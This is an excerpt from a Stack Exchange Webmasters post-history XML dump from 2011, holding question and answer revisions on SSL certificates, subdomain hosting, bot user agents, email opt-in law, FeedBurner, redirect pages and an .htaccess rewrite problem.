it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.clickssl.com/sslcertificate/EVSSLcertificates.aspx&#xD;&#xA;  [2]: http://www.clickssl.com" />
  <row Id="34603" PostHistoryTypeId="2" PostId="14727" RevisionGUID="7043214e-801a-43c1-b268-b93c60192120" CreationDate="2011-06-02T14:56:22.693" UserId="1253" Text="**Step-by-step instructions**&#xD;&#xA;&#xD;&#xA;*make sure you have download the appropriate files for your certificate before beginning*&#xD;&#xA;&#xD;&#xA; 1. Open the WebHost Manager and click Activate your SSL Certificate in the SSL/TLS menu.&#xD;&#xA;&#xD;&#xA; You will see a screen with three boxes on it. Your issued certificate, RSA private key and certificate bundle must be pasted into boxes 1, 2, and 3, respectively.&#xD;&#xA;&#xD;&#xA; 3. In the first box, paste in the contents of your issued SSL certificate. If the certificate file is on your server, you may use the Fetch button to copy it from the file.&#xD;&#xA;    &#xD;&#xA; 4. In the second box, paste in your private key which was generated when you created the CSR.&#xD;&#xA;    &#xD;&#xA; 5. In the third box, paste in the certificate bundle (gd_bundle.crt).&#xD;&#xA;    At the top of the page click Do it." />
  <row Id="34604" PostHistoryTypeId="5" PostId="14726" RevisionGUID="3e777cc5-1b27-4edc-9ca7-2f52ebc45baf" CreationDate="2011-06-02T14:57:24.003" UserId="1253" Comment="remove self promotion" Text="Many of the current phishing techniques rely on driving customers to spoofed Web sites to capture personal information. Technology such as Secure Sockets Layer (SSL) and Extended Validation (EV) SSL are critical in fighting phishing and other forms of cyber crime by encrypting sensitive information and helping customers authenticate your site.&#xD;&#xA;&#xD;&#xA;To help prevent phishing attacks from being successful and to build customer trust, companies also need a way to show customers that they are a legitimate business. Extended Validation (EV) SSL Certificates are the answer, offering the highest level of authentication available with an SSL Certificate and providing tangible proof to online users that the site is indeed a legitimate business.&#xD;&#xA;&#xD;&#xA;EV Certificates gives Web site visitors an easy and reliable way to establish trust online by triggering high security Web browsers to display a green address bar with the name of the organization that owns the SSL Certificate and the name of the Certificate Authority that issued it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34605" PostHistoryTypeId="19" PostId="3134" RevisionGUID="fe2a41f3-ac8f-4daa-b844-66f3b29d016c" CreationDate="2011-06-02T14:57:32.130" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34606" PostHistoryTypeId="19" PostId="1742" RevisionGUID="7f10c839-051c-4c0b-8d9f-bbae01be959b" CreationDate="2011-06-02T14:58:46.717" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34607" PostHistoryTypeId="5" PostId="10850" RevisionGUID="8876110f-f7ec-4156-bfb4-17c81de87be6" CreationDate="2011-06-02T14:59:23.800" UserId="1253" Comment="Removed self promotional link" Text="There are different type of SSL Certificate are available in the market. so buyer are confused which SSL Certificate is best for them like you question here. If your want to secure your domain plus subdomain then i recommend you to use Wildcard SSL. In short it's all depending on what type of requirement you have. &#xD;&#xA;" />
  <row Id="34609" PostHistoryTypeId="25" PostId="14690" RevisionGUID="c7462d20-bd4e-4030-b364-0de49f2d083f" CreationDate="2011-06-02T15:13:35.373" Comment="http://twitter.com/#!/StackWebmasters/status/76305464027136001" />
  <row Id="34610" PostHistoryTypeId="17" PostId="14728" RevisionGUID="787631e5-de98-4ac0-ac2a-b0c9af71c7cf" CreationDate="2011-06-02T15:19:27.863" UserId="-1" Comment="from http://stackoverflow.com/questions/6205095/question-regarding-domain-names-and-web-servers" Text="" />
  <row Id="34611" PostHistoryTypeId="17" PostId="14729" RevisionGUID="bcc28973-04f9-4781-bbb8-f2660affc6cb" CreationDate="2011-06-02T15:19:27.863" UserId="-1" Comment="from http://stackoverflow.com/questions/6205095/question-regarding-domain-names-and-web-servers" Text="" />
  <row Id="34612" PostHistoryTypeId="17" PostId="14730" RevisionGUID="d18922e3-527f-485d-9f58-f0e86edb97f0" CreationDate="2011-06-02T15:19:27.863" UserId="-1" Comment="from http://stackoverflow.com/questions/6205095/question-regarding-domain-names-and-web-servers" Text="" />
  <row Id="34613" PostHistoryTypeId="2" PostId="14729" RevisionGUID="43f3b09b-5eb0-4c4d-afa1-e36f0866e5b7" CreationDate="2011-06-01T17:23:46.353" UserDisplayName="Ricky Bobby" Text="Yes It's possible. You just need to ask your provider to have the URL www.something.website1.com point to your second website on the server B.&#xD;&#xA;&#xD;&#xA;It's like having a website and a webmail with  different providers.&#xD;&#xA;" />
  <row Id="34614" PostHistoryTypeId="2" PostId="14730" RevisionGUID="3b0276bb-f894-49b0-b1b0-e3f8730904ff" CreationDate="2011-06-01T17:30:03.190" UserDisplayName="baraboom" Text="This is a DNS change; where ever the DNS for website1.com is handled you want to add an **A record** for www.something.website1.com to point to the new IP address. &#xD;&#xA;&#xD;&#xA;Then on the Server B, of course, you need to let the http server (Apache, lighttpd, etc) know that it is serving for that name." />
  <row Id="34615" PostHistoryTypeId="2" PostId="14728" RevisionGUID="3548e595-6afb-4709-ac62-370769978a81" CreationDate="2011-06-01T17:12:25.973" UserDisplayName="Diablo" Text="Say there is a website, www.website1.com, that is hosted on a web server, web server A. Is it possible to have another website, www.something.website1.com on a different web server, web server B?&#xD;&#xA;Or is the www.something.website1.com still considered a sub domain of www.website1.com, and must be hosted on the same web server, A?&#xD;&#xA;&#xD;&#xA;For clarification: www.website1.com is hosted on a third party web server, but a client wants us to host www.something.website1.com on one of our own web servers, NOT the third party. Is this possible?" />
  <row Id="34616" PostHistoryTypeId="1" PostId="14728" RevisionGUID="3548e595-6afb-4709-ac62-370769978a81" CreationDate="2011-06-01T17:12:25.973" UserDisplayName="Diablo" Text="Question regarding domain names and web servers" />
  <row Id="34617" PostHistoryTypeId="3" PostId="14728" RevisionGUID="3548e595-6afb-4709-ac62-370769978a81" CreationDate="2011-06-01T17:12:25.973" UserDisplayName="Diablo" Text="&lt;web-hosting&gt;&lt;dns&gt;" />
  <row Id="34618" PostHistoryTypeId="17" PostId="14731" RevisionGUID="9a6a428d-5ff8-4775-985c-d83dda6d68a5" CreationDate="2011-06-02T16:01:02.613" UserId="-1" Comment="from http://stackoverflow.com/questions/6215146/ssl-certificate-and-ip-binding" Text="" />
  <row Id="34619" PostHistoryTypeId="17" PostId="14732" RevisionGUID="474b2ef6-17ec-4d98-95d2-1cb1d2a8f244" CreationDate="2011-06-02T16:01:02.613" UserId="-1" Comment="from http://stackoverflow.com/questions/6215146/ssl-certificate-and-ip-binding" Text="" />
  <row Id="34620" PostHistoryTypeId="17" PostId="14733" RevisionGUID="ac2354e0-b2f8-4d0e-9120-a18924e6cd90" CreationDate="2011-06-02T16:01:02.613" UserId="-1" Comment="from http://stackoverflow.com/questions/6215146/ssl-certificate-and-ip-binding" Text="" />
  <row Id="34621" PostHistoryTypeId="17" PostId="14734" RevisionGUID="e6c10b54-8c03-40fd-92b4-2da997050363" CreationDate="2011-06-02T16:01:02.613" UserId="-1" Comment="from http://stackoverflow.com/questions/6215146/ssl-certificate-and-ip-binding" Text="" />
  <row Id="34622" PostHistoryTypeId="2" PostId="14732" RevisionGUID="9df7da91-89f9-477c-95e1-f3f4b3ad27f5" CreationDate="2011-06-02T13:30:24.723" UserId="7840" Text="1. Yes. However since host headers are ignored for SSL, all SSL traffic, even those for other sites, will go to the site which supports SSL, since 443 will be bound to just one site.&#xD;&#xA;2. Then that certificate will only work for that domain.&#xD;&#xA;3. Contact your hosting provider / ISP." />
  <row Id="34623" PostHistoryTypeId="2" PostId="14733" RevisionGUID="7f80aeea-2275-4bc0-a1ef-c80f28312530" CreationDate="2011-06-02T13:33:37.767" UserDisplayName="Andrew" Text="1) You can have multiple websites on the same machine. In apache, you can put in multiple virtual hosts with different webroots.&#xD;&#xA;&#xD;&#xA;2) A normal certificate is only valid for example.com and www.example.com.&#xD;&#xA;&#xD;&#xA;3) You do not neccesarilary need a static IP from your ISP.  You can look into dynamic DNS with a provider such as dyndns.  They'll give you a program to update your current IP with their dns records so your domain points to the right spot.  However, that will cost money to use your own domain name.&#xD;&#xA;" />
  <row Id="34624" PostHistoryTypeId="2" PostId="14734" RevisionGUID="892c53ca-440b-46f4-b8c9-c1ec7a1a65e3" CreationDate="2011-06-02T16:00:45.793" UserId="7610" Text="In answer to your question:&#xD;&#xA;&#xD;&#xA;&gt; 1 . My server has a distinct IP, can I use it although I have other sites&#xD;&#xA;&gt; there but they don't need ssl?&#xD;&#xA;&#xD;&#xA;There is really no mucking about when it comes to SSL, your site will need its own IP address for a single domain SSL. There are various hacks and bodges I've seen people do over the years, they all end in tears.&#xD;&#xA;&#xD;&#xA;&gt; 2 . If I do need to buy dedicated IP. What does it involve?&#xD;&#xA;&#xD;&#xA;If you're self hosting your server in an office/home at the end of a DSL or cable service then you need to ask your provider for a range of static IP addresses. If your server is rented from a hoster (RackSpace, Orcs etc) or it's your own hardware in a data-centre then you'd need to ask the hoster or IP transit provider for more IP addresses.&#xD;&#xA;&#xD;&#xA;As to cost, this can vary from one-off payments of around $50 for a /29 (6 usuable addresses) to annual renting of an IP address of perhaps $10 per IP/per year. It will vary enormously from provider to provider.&#xD;&#xA;&#xD;&#xA;One thing to note is that if you change DSL/Cable/Hosting/Transit provider - you can't take the IP addresses allocated with you. They are part of their larger allocation from a regional internet registry and &quot;owned&quot; by them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34625" PostHistoryTypeId="2" PostId="14731" RevisionGUID="ed068e78-4682-49ac-81ff-eb81ac10c0ac" CreationDate="2011-06-02T13:26:17.640" UserDisplayName="UshaP" Text="I try to setup SSL on my server for **only** one web site (I have few there using **IIS7**). &#xD;&#xA;&#xD;&#xA;I bought an SSL certificate, installed it but when I come to bind I don't have to option to specify the host name. From reading some posts here I understood I need a distinct IP address.&#xD;&#xA;&#xD;&#xA;I didn't purchase a wildcard certificate, I got `staging.mydomain.com`.&#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;&#xD;&#xA;1. My server has a distinct IP, can I use it although I have other sites there but they don't need ssl?&#xD;&#xA;&#xD;&#xA;2. If I do need to buy dedicated IP. What does it involve? &#xD;&#xA;" />
  <row Id="34626" PostHistoryTypeId="1" PostId="14731" RevisionGUID="ed068e78-4682-49ac-81ff-eb81ac10c0ac" CreationDate="2011-06-02T13:26:17.640" UserDisplayName="UshaP" Text="SSL Certificate and IP Binding" />
  <row Id="34627" PostHistoryTypeId="3" PostId="14731" RevisionGUID="ed068e78-4682-49ac-81ff-eb81ac10c0ac" CreationDate="2011-06-02T13:26:17.640" UserDisplayName="UshaP" Text="&lt;iis7&gt;&lt;ssl-certificate&gt;" />
  <row Id="34628" PostHistoryTypeId="2" PostId="14735" RevisionGUID="bfcc3864-de39-415a-948e-f16a57957bc8" CreationDate="2011-06-02T16:52:29.893" UserId="3328" Text="You may try posting your feedback for this feature.&#xD;&#xA;&#xD;&#xA;There's a link near the bottom of the page for posting bugs/feature requests: http://code.google.com/chrome/devtools/&#xD;&#xA;&#xD;&#xA;It also says to mention keyword &quot;DevTools&quot; in your feature request" />
  <row Id="34629" PostHistoryTypeId="2" PostId="14736" RevisionGUID="ed0c133f-77e4-4c4b-8e46-2e34bcb5e3df" CreationDate="2011-06-02T17:50:21.207" UserId="7957" Text="I have apache logs from my server, and I filter out visits from bots/crawlers/scrapers using a python script that checks for user agent strings containing text like 'bot', 'googlebot', etc.&#xD;&#xA;&#xD;&#xA;Lately, there have been a number of visits to my site from what I believe is msnbot/bingbot, but they don't report it in their user agent.&#xD;&#xA;&#xD;&#xA;An example of a log line is:&#xD;&#xA;&#xD;&#xA;`207.46.12.74 - - [27/May/2011:07:45:07 -0400] ...stuff... &quot;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0;  SLCC1;  .NET CLR 1.1.4322;  .NET CLR 2.0.50727;  .NET CLR 3.0.04506.648)&quot;`&#xD;&#xA;&#xD;&#xA;And a reverse DNS of the IP address:&#xD;&#xA;&#xD;&#xA;    Name: msnbot-207-46-12-74.search.msn.com&#xD;&#xA;    Address: 207.46.12.74&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Right now I'm thinking of filtering out specific IP addresses that I detect are `msnbot` when I perform rDNS on their IP addresses, but when I presented this to a coworker, he felt that maybe there was something else to the fact that Microsoft's bingbots weren't reporting their user agent, like if it was IE private browsing or bing's safe-website crawler.&#xD;&#xA;&#xD;&#xA;I've looked on Project Honeypot, various sites that have databases of user agents, and have confirmed net blocks of IP addresses that MSN/Bing bots use, but I think he wants even stricter confirmation.&#xD;&#xA;&#xD;&#xA;Anyone know the behavior of these bots and why they're not reporting their agent strings as being 'bots'?" />
  <row Id="34630" PostHistoryTypeId="1" PostId="14736" RevisionGUID="ed0c133f-77e4-4c4b-8e46-2e34bcb5e3df" CreationDate="2011-06-02T17:50:21.207" UserId="7957" Text="MSNBot/BingBot not reporting it is a bot?" />
  <row Id="34631" PostHistoryTypeId="3" PostId="14736" RevisionGUID="ed0c133f-77e4-4c4b-8e46-2e34bcb5e3df" CreationDate="2011-06-02T17:50:21.207" UserId="7957" Text="&lt;bing&gt;&lt;web-crawlers&gt;" />
  <row Id="34632" PostHistoryTypeId="2" PostId="14737" RevisionGUID="e86abc98-428c-421c-97a5-ca4c11c4e367" CreationDate="2011-06-02T17:55:38.557" UserId="4142" Text="The &quot;imghack&quot; description would lead me to believe that you've had a malicious image, or script masquerading as an image, on your web site.&#xD;&#xA;&#xD;&#xA;Do you have any methods for users or visitors to post their own images on your web site?" />
  <row Id="34633" PostHistoryTypeId="2" PostId="14738" RevisionGUID="173ad656-17b4-4688-8392-aa1fb3b1b852" CreationDate="2011-06-02T18:10:46.377" UserId="5809" Text="I have a site that helps people organize hikes.  Here is a typical hike page:&#xD;&#xA;&#xD;&#xA;http://www.comehike.com/hikes/scheduled_hike.php?hike_id=174&#xD;&#xA;&#xD;&#xA;I made a widget for people to be able to share their hikes.  Here is the widget for the same hike:&#xD;&#xA;&#xD;&#xA;http://www.comehike.com/outdoors/widget.php?hike_id=174&amp;height=500&amp;width=700&#xD;&#xA;&#xD;&#xA;But I am really stuck on how to get my users to understand that they can export their hike as a widget and share it.  Plus, what phrasing should I use? &quot;Share your hike&quot; or &quot;make the map into a sharable link&quot; ?&#xD;&#xA;&#xD;&#xA;Are there any good examples of such UX and wording?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="34634" PostHistoryTypeId="1" PostId="14738" RevisionGUID="173ad656-17b4-4688-8392-aa1fb3b1b852" CreationDate="2011-06-02T18:10:46.377" UserId="5809" Text="How to do UX for people to use a widget" />
  <row Id="34635" PostHistoryTypeId="3" PostId="14738" RevisionGUID="173ad656-17b4-4688-8392-aa1fb3b1b852" CreationDate="2011-06-02T18:10:46.377" UserId="5809" Text="&lt;websites&gt;&lt;widgets&gt;" />
  <row Id="34636" PostHistoryTypeId="25" PostId="14731" RevisionGUID="dc79c985-8f78-4b39-acc7-09587fbf5b65" CreationDate="2011-06-02T18:13:35.753" Comment="http://twitter.com/#!/StackWebmasters/status/76350763365969920" />
  <row Id="34637" PostHistoryTypeId="2" PostId="14739" RevisionGUID="9113b497-c357-4ba1-a693-a3d70251532c" CreationDate="2011-06-02T18:53:39.600" UserId="7247" Text="Creating a new site requiring membership to participate.  I don't anticipate emailing members at this time except for password related issues.  Perhaps down the road emails will be necessary.  &#xD;&#xA;&#xD;&#xA;I want to be proactive and assume I will email the members in the future.  What do I need to do to be covered legally when sending emails to all members?  &#xD;&#xA;&#xD;&#xA;Can I get by with including &quot;You may be emailed&quot; in the TOS and having users accept TOS?  Or do I need to include an opt-in option even though there may never be an email?  &#xD;&#xA;&#xD;&#xA;I really don't want to harm the user experience especially if an email is NEVER sent as could be the case.  &#xD;&#xA;&#xD;&#xA;In the U.S. but users could be worldwide, if that matters." />
  <row Id="34638" PostHistoryTypeId="1" PostId="14739" RevisionGUID="9113b497-c357-4ba1-a693-a3d70251532c" CreationDate="2011-06-02T18:53:39.600" UserId="7247" Text="Legal terms required to email users - is opt in necessary" />
  <row Id="34639" PostHistoryTypeId="3" PostId="14739" RevisionGUID="9113b497-c357-4ba1-a693-a3d70251532c" CreationDate="2011-06-02T18:53:39.600" UserId="7247" Text="&lt;email&gt;&lt;legal&gt;&lt;bulk-email&gt;&lt;terms-of-use&gt;" />
  <row Id="34640" PostHistoryTypeId="2" PostId="14740" RevisionGUID="7d5feac7-d58e-4098-9ff4-41f0eb29554e" CreationDate="2011-06-02T19:03:07.013" UserId="6033" Text="Yes you need to follow the rules outlined in the CAN SPAM act.&#xD;&#xA;&#xD;&#xA;http://business.ftc.gov/documents/bus61-can-spam-act-compliance-guide-business&#xD;&#xA;&#xD;&#xA;Marketing emails must always follow these rules. Transactional emails are different." />
  <row Id="34641" PostHistoryTypeId="5" PostId="14740" RevisionGUID="89fdb6c4-e49d-4b54-ba2e-5a4b13a0d477" CreationDate="2011-06-02T19:08:46.973" UserId="6033" Comment="added 534 characters in body; added 152 characters in body; deleted 23 characters in body" Text="Yes you need to follow the rules outlined in the [CAN-SPAM][1] act.&#xD;&#xA;&#xD;&#xA;http://business.ftc.gov/documents/bus61-can-spam-act-compliance-guide-business&#xD;&#xA;&#xD;&#xA;Marketing emails must always follow these rules. Transactional emails are different, and follow a set of guidelines as to how an email is considered transactional. &#xD;&#xA;&#xD;&#xA;&gt; Example of transactional: someone&#xD;&#xA;&gt; orders a product from you and you send&#xD;&#xA;&gt; them a follow-up email asking if they&#xD;&#xA;&gt; received it.&#xD;&#xA;&#xD;&#xA;If you mix marketing content into a transactional email then you enter a grey area.&#xD;&#xA;&#xD;&#xA;Get Opt-in authorization from the start if there's even a thought of sending marketing emails in the future. Usually this is done during new member registration. IF you already have members, include it as a check box in their profile so they can change status.&#xD;&#xA;&#xD;&#xA;  [1]: http://business.ftc.gov/documents/bus61-can-spam-act-compliance-guide-business" />
  <row Id="34642" PostHistoryTypeId="2" PostId="14741" RevisionGUID="ddcad3ac-7059-42b5-9ea5-45bc2c9679b9" CreationDate="2011-06-02T19:30:55.207" UserId="7995" Text="I'm setting up a blog for my OSS/startup and I'm wondering whether using Feedburner for blog feeds is still the recommended way to go? Is there enough value in using Feedburner over just using the built in RSS feeds in Wordpress?&#xD;&#xA;&#xD;&#xA;Also if so what wordpress plugin people are using to get it working with the current version?" />
  <row Id="34643" PostHistoryTypeId="1" PostId="14741" RevisionGUID="ddcad3ac-7059-42b5-9ea5-45bc2c9679b9" CreationDate="2011-06-02T19:30:55.207" UserId="7995" Text="Is using feedburner still a must for blog feeds?" />
  <row Id="34644" PostHistoryTypeId="3" PostId="14741" RevisionGUID="ddcad3ac-7059-42b5-9ea5-45bc2c9679b9" CreationDate="2011-06-02T19:30:55.207" UserId="7995" Text="&lt;wordpress&gt;&lt;feeds&gt;&lt;blogging&gt;" />
  <row Id="34645" PostHistoryTypeId="2" PostId="14742" RevisionGUID="dbabcb65-9dcc-468a-83f9-893e87123390" CreationDate="2011-06-02T20:01:06.650" UserId="7198" Text="**Opt-in is *always* a good idea, regardless of the legalities,** for one simple reason: people who actively opt in are more likely to open, read, and act on the emails you send to them.&#xD;&#xA;&#xD;&#xA;People who are 'tricked' into receiving email from you through subclauses in the terms and conditions or pre-ticked boxes (i.e. the 'opt-out' system) aren't as likely to buy from you, regardless of your good intentions. Here's [what MailChimp says about opt-out email:](http://www.mailchimp.blogs.com/blog/2005/08/optin_vs_confir.html)&#xD;&#xA;&#xD;&#xA;&gt; &quot;It's sort of a scummy way of doing it, but technically it's legal. We highly recommend against it, because you'll end up with tons of people who don't understand how they got on your list, who won't read your emails, and who will send complaints to the anti-spam authorities to get your server blacklisted. It's yucky, so stay away from it.&quot;&#xD;&#xA;&#xD;&#xA;So yes, **you should specifically ask permission with a separate tick box that's unchecked** by default, and not assume that people who've agreed to your terms and conditions also agree to hearing from you. They probably won't read the T&amp;Cs anyway. This is the case even if you don't ever expect to send them anything, but I would suggest that you send some news at least once a quarter so that they don't forget who you are when you *do* have something absolutely essential to say.&#xD;&#xA;&#xD;&#xA;In case it helps, this is how I collect email addresses on all of my forms:&#xD;&#xA;&#xD;&#xA;![spiffing apps newsletter][1]&#xD;&#xA;&#xD;&#xA;About 90% of people who contact me tick the box to receive the newsletter. I like to think it's because it's non-threatening, playful, clearly states the volume of mail they're likely to receive, and because it reminds them I won't spam them, but they might just be curious about what 'jolly cool stuff' I send.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/8aGRv.jpg" />
  <row Id="34646" PostHistoryTypeId="6" PostId="14741" RevisionGUID="51ecc162-1c21-40ad-890f-5fb7adeae309" CreationDate="2011-06-02T20:08:29.237" UserId="6901" Comment="Edited Tags" Text="&lt;wordpress&gt;&lt;feeds&gt;&lt;blogging&gt;&lt;feedburner&gt;" />
  <row Id="34647" PostHistoryTypeId="24" PostId="14741" RevisionGUID="51ecc162-1c21-40ad-890f-5fb7adeae309" CreationDate="2011-06-02T20:08:29.237" Comment="Proposed by 6901 approved by 1253 edit id of 372" />
  <row Id="34648" PostHistoryTypeId="2" PostId="14743" RevisionGUID="5f184399-2ab2-43aa-896f-cf3ca0843b96" CreationDate="2011-06-02T20:39:32.967" UserId="7545" Text="Yes. I still recommend using feedburner. It offers a number advantages over the standard setup of RSS in Wordpress. One of which is that you use Google's bandwidth rather than your own (or your webhotel's) for all the RSS feed requests. Feedburner is also very customisable.&#xD;&#xA;&#xD;&#xA;Of the advantages, one of the notable ones is turning on Pingshot in Feedburner to enable Pubsubhubbub support - that can really speed up how quickly your content is indexed and distrbuted to your readers.&#xD;&#xA;&#xD;&#xA;A little while ago I wrote a guide for [how to enable Pubsubhubbub with Wordpress for your wordpress site][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://beta.beantin.se/feedburner-wordpress-and-pubsubhubbub-in-4-steps/" />
  <row Id="34649" PostHistoryTypeId="17" PostId="14744" RevisionGUID="651f5f23-c97e-45fc-8dda-11820e9ae4e2" CreationDate="2011-06-02T20:47:23.530" UserId="-1" Comment="from http://stackoverflow.com/questions/6220050/thank-you-for-posting-please-stand-by-while-you-are-redirected-needed" Text="" />
  <row Id="34650" PostHistoryTypeId="2" PostId="14744" RevisionGUID="7e1abf8c-da36-43ac-8297-0e7b7d70d585" CreationDate="2011-06-02T20:31:36.820" UserId="2865" Text="&gt; Thank you for posting. Please stand by&#xD;&#xA;&gt; while you are redirected.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you are not automatically&#xD;&#xA;&gt; redirected, please click here.&#xD;&#xA;&#xD;&#xA;You're probably familiar with messages like these, especially when using the web in the 90s or early 2000s. In my own projects, I've never found a reason to make the user wait for 2-3 seconds while they are redirected after registration or posting something, for example. But this pattern comes up all the time, even in popular web software like PHPBB.&#xD;&#xA;&#xD;&#xA;My question is, does redirection still have a place/need in modern (ajaxy) web development? Are there any situations that absolutely require redirection like this, ultimately annoying the user, and **what are the technical reasons behind them**? Why not just redirect instantly if a redirect is required?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34651" PostHistoryTypeId="1" PostId="14744" RevisionGUID="7e1abf8c-da36-43ac-8297-0e7b7d70d585" CreationDate="2011-06-02T20:31:36.820" UserId="2865" Text="&quot;Thank you for posting. Please stand by while you are redirected.&quot; Needed?" />
  <row Id="34652" PostHistoryTypeId="3" PostId="14744" RevisionGUID="7e1abf8c-da36-43ac-8297-0e7b7d70d585" CreationDate="2011-06-02T20:31:36.820" UserId="2865" Text="&lt;redirects&gt;&lt;web-design&gt;&lt;usability&gt;" />
  <row Id="34653" PostHistoryTypeId="2" PostId="14745" RevisionGUID="096bc97f-6e75-4957-86a8-3139f16e536d" CreationDate="2011-06-02T20:49:11.720" UserId="7998" Text="The main reason for doing this is that a record is made on the site that you have been redirected. The page could load Google Analytics, but the data is also going to be in the weblogs. &#xD;&#xA;&#xD;&#xA;If you send a redirect using HTTP headers then the browser will go off to the other site without making any additional requests to the original site. Javascript-based tracking may catch these exits, but it gives the site owner better opportunities for tracking.&#xD;&#xA;&#xD;&#xA;In some cases you might also want to provide a disclaimer to the user than they are being redirected. This is particularly important to webmasters working in regulated industries. If you don't work in a regulated industry like banking or pharmaceuticals you will not have much appreciation for these requirements." />
  <row Id="34654" PostHistoryTypeId="2" PostId="14746" RevisionGUID="c4af38fe-eb17-45d7-812b-a36876123e1b" CreationDate="2011-06-02T20:49:58.693" UserId="361" Text="First of all, not all browsers will redirect when given a Location header. Second, not all browsers will redirect with Javascript because it is disabled. Third, not all browsers will support the meta-refresh tags. Any of these cases is probably very rare so it probably won't matter. But even if it does, you can overlap all of these methods I think.&#xD;&#xA;&#xD;&#xA;The way the PHPBB pages does it (waits for 5 seconds or something) is not needed at all. It should redirect immediately and if it doesn't, it will display the HTML page (which has meta-refresh and Javascript on it) after sending the headers. There's almost no chance this page will actually get displayed by a regular browser if it's programmed properly." />
  <row Id="34655" PostHistoryTypeId="5" PostId="14746" RevisionGUID="db187ff8-672d-4b55-b270-d28fe1977acb" CreationDate="2011-06-02T20:58:50.570" UserId="361" Comment="added 21 characters in body" Text="First of all, not all browsers will redirect when given a Location header. Second, not all browsers will redirect with Javascript because it is disabled. Third, not all browsers will support the meta-refresh tags. Any of these cases is probably very rare so it probably won't matter. But even if it does, you can overlap all of these methods I think.&#xD;&#xA;&#xD;&#xA;The way the PHPBB pages does it (waits for 5 seconds or something) is not needed at all. It should redirect immediately and if it doesn't, it will display the HTML page (which has meta-refresh and Javascript on it and text with a link) after sending the headers. There's almost no chance this page will actually get displayed by a regular browser if it's programmed properly." />
  <row Id="34656" PostHistoryTypeId="2" PostId="14747" RevisionGUID="be95cf05-af3d-4ea6-b607-38fab2823c1a" CreationDate="2011-06-02T21:00:48.613" UserId="30" Text="It is in Google's interests to index all of the public web, including content that contains no hyperlinks from existing indexed content.&#xD;&#xA;&#xD;&#xA;The use of http://m.example.com or http://example.com/m/ for the URL of a mobile version of a site is common.&#xD;&#xA;&#xD;&#xA;It is therefore reasonable to assume that Google's crawler will see if http://m.example.com or http://example.com/m/ exists and attempt to index such content if found.&#xD;&#xA;&#xD;&#xA;It is also reasonable to assume that Google Mobile will attempt to determine if a suitable-looking http://m.example.com or http://example.com/m/ URL exists for known content and present this as a link to a user in search results. There is no reason to think such divination would not feed back to the crawler." />
  <row Id="34657" PostHistoryTypeId="25" PostId="14744" RevisionGUID="e74352d6-82fe-4d16-9d2f-22aa1a42b974" CreationDate="2011-06-02T21:13:36.453" Comment="http://twitter.com/#!/StackWebmasters/status/76396065590489088" />
  <row Id="34658" PostHistoryTypeId="2" PostId="14748" RevisionGUID="37bcd490-f0c6-47a3-8ef7-ef4fc9539f38" CreationDate="2011-06-02T21:40:45.350" UserId="1064" Text="&gt; Are there any situations that absolutely require redirection like this, ultimately annoying the user, and what are the technical reasons behind them?&#xD;&#xA;&#xD;&#xA;The most common intent (generally in the case of a request which creates a new record in a database, processes a payment transaction, etc) is the prevention of duplicate requests should the user hit the &quot;Refresh&quot; button and re-post the request.&#xD;&#xA;&#xD;&#xA;&gt; Does redirection still have a place/need in modern (ajaxy) web development?&#xD;&#xA;&#xD;&#xA;If you can get away with telling users who have Javascript disabled that their requests will be ignored or possibly mishandled (the [&quot;Do not click submit more than once!&quot;][1] message comes to mind) sure - but it's not a huge effort to support those quirky JS-disabled users and ensure that the billing department doesn't see the occasional double-billing complaint, so redirection of some sort is still implemented in many interfaces.&#xD;&#xA;&#xD;&#xA;&gt; Why not just redirect instantly if a redirect is required?&#xD;&#xA;&#xD;&#xA;The redirect *should* be issued instantly if the goal is to prevent multiple form submissions - in the case of timed redirects perhaps they're geared toward sluggish servers, they've failed to factor in a session-based lock, or they're trying to solve a more esoteric problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/414835/avoid-race-conditions-in-php-on-submit-please-do-not-click-submit-more-than-once" />
  <row Id="34659" PostHistoryTypeId="2" PostId="14749" RevisionGUID="c148598a-7c93-4e09-9825-684688881380" CreationDate="2011-06-02T23:03:07.837" UserId="7198" Text="The [FD FeedBurner plugin](http://wordpress.org/extend/plugins/feedburner-plugin/) still works as a means to redirect requests for the default WordPress feeds to your FeedBurner ones.&#xD;&#xA;&#xD;&#xA;FeedBurner is worth using purely because it makes moving your blog without losing subscribers so easy. Should you wish to move from WordPress to tumblr, for example, you just update the feed address in FeedBurner and you're done. No need to tell your 26 subscribers that they'll have to update their feed to continue getting pithy insights entitled *12 Reasons You Should Try Dog Biscuits.*&#xD;&#xA;&#xD;&#xA;FeedBurner's 'subscribe by email' feature is useful too, largely because civilised people regard RSS readers as little more than online whack-a-mole, so it's handy to offer them a way to procrastinate via their inboxes instead of in a dedicated app.&#xD;&#xA;&#xD;&#xA;The statistics for opens and overall subscribers are pretty, but largely useless unless you need to prove how popular you are to advertisers, your literary agent, or your mother." />
  <row Id="34660" PostHistoryTypeId="2" PostId="14750" RevisionGUID="6e14fdfb-1875-4623-a39f-fd30a598e3a1" CreationDate="2011-06-02T23:14:12.383" UserId="7518" Text="I'm using the following `.htaccess` file in one of my subdirectories on my server:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*)\.png generate.php?userid=$1&#xD;&#xA;&#xD;&#xA;My non-production environment handled the above just fine without a hitch.&#xD;&#xA;&#xD;&#xA;However, when implemented on my live production environment and accessed, the server load goes through the roof and no webpages are loaded until the process is killed (I don't actually know the process, the other administrator just does it for me.)&#xD;&#xA;&#xD;&#xA;So, is it my production environment that is set up incorrectly or is it that my code is sloppy/incorrect?" />
